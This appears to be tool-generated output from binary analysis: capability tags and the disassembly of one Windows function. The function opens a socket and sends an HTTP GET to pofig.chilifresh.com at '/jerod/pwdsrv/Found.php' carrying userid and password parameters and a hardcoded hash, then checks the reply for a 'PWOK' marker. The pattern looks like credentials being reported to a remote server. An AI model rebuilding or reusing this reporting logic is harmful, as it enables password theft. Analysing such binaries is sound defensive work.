Function at 0x4033b0
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x119c
call fcn.004177a0
push ebx
push esi
push edi
push 0xc
mov edi, ecx
call fcn.0040420d
add esp, 4
mov esi, eax
lea eax, [ebp - 0x198]
push eax
push 0x202
mov dword [esi], 0xffffffff
mov dword [esi + 4], 0xffffffff
mov dword [esi + 8], 0
call dword [sym.imp.WSOCK32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WSOCK32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x40342b
cmp dword [esi + 8], 0
mov dword [esi + 4], 0
je 0x40342b
lea ecx, [ebp - 4]
mov dword [ebp - 4], 1
push ecx
push 0x8004667e
push eax
call dword [sym.imp.WSOCK32.dll_ioctlsocket]
push str.Connecting..
call fcn.00401ad0
push str.127.0.0.1
mov ecx, esi
call fcn.00404030
mov ecx, esi
call fcn.004040d0
cmp eax, 0xffffffff
je 0x4035e3
test al, 0x10
jne 0x4035e3
push str.Connected__Sending_data..
call fcn.00401ad0
add esp, 4
push 0x1000
push 0
push 0x423d08
call fcn.004053b0
add esp, 0xc
push str.pofig.chilifresh.com
push edi
push str.f8850918f3fdaab5e6f5772bb66b5b02
push str.Found.php
push str._jerod_pwdsrv_
push str.GET__s_s_userid_spwd_s_HTTP_1.1_r_nHost:__s_r_nConnection:_close_r_n_r_n
push 0x423d08
call fcn.00403620
mov ecx, 0x423d08
add esp, 0x1c
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4034b0
push 0
sub ecx, edx
push ecx
push 0x423d08
push dword [esi]
call dword [sym.imp.WSOCK32.dll_send]
nop dword [eax]
mov ecx, esi
call fcn.004040d0
test al, 2
jne 0x4034e0
cmp eax, 0xffffffff
jne 0x4034d0
push 0
push 0x1000
lea eax, [ebp - 0x1198]
push eax
push dword [esi]
call dword [sym.imp.WSOCK32.dll_recv]
mov ebx, eax
mov byte [ebp + ebx - 0x1198], 0
cmp ebx, 0xf
jl 0x4035dc
lea ecx, [ebp - 0x1198]
mov edx, str.HTTP_1.1_200_OK
mov edi, 0xb
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4035dc
add ecx, 4
add edx, 4
sub edi, 4
jae 0x403520
mov ax, word [ecx]
cmp ax, word [edx]
jne 0x4035dc
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4035dc
lea ecx, [ebx - 4]
xor eax, eax
test ecx, ecx
jle 0x403583
cmp byte [ebp + eax - 0x1198], 0xd
jne 0x40357e
cmp byte [ebp + eax - 0x1197], 0xa
jne 0x40357e
cmp byte [ebp + eax - 0x1196], 0xd
jne 0x40357e
cmp byte [ebp + eax - 0x1195], 0xa
je 0x40358a
inc eax
cmp eax, ecx
jl 0x403556
push str.Error:_invalid_data.
jmp 0x4035e8
lea eax, [ebp + eax - 0x1194]
test eax, eax
je 0x403583
cmp dword [eax], 0x4b4f5750
jne 0x4035c9
push dword [esi]
call dword [sym.imp.WSOCK32.dll_closesocket]
push 0xc
push esi
mov dword [esi + 4], 0xffffffff
mov dword [esi], 0xffffffff
call fcn.0040423d
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
add eax, 4
push eax
push str.Error:__s
call fcn.00401ad0
add esp, 8
jmp 0x4035f0
push str.Http_error
jmp 0x4035e8
push str.Connection_failed.
call fcn.00401ad0
add esp, 4
push dword [esi]
call dword [sym.imp.WSOCK32.dll_closesocket]
push 0xc
push esi
mov dword [esi + 4], 0xffffffff
mov dword [esi], 0xffffffff
call fcn.0040423d
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret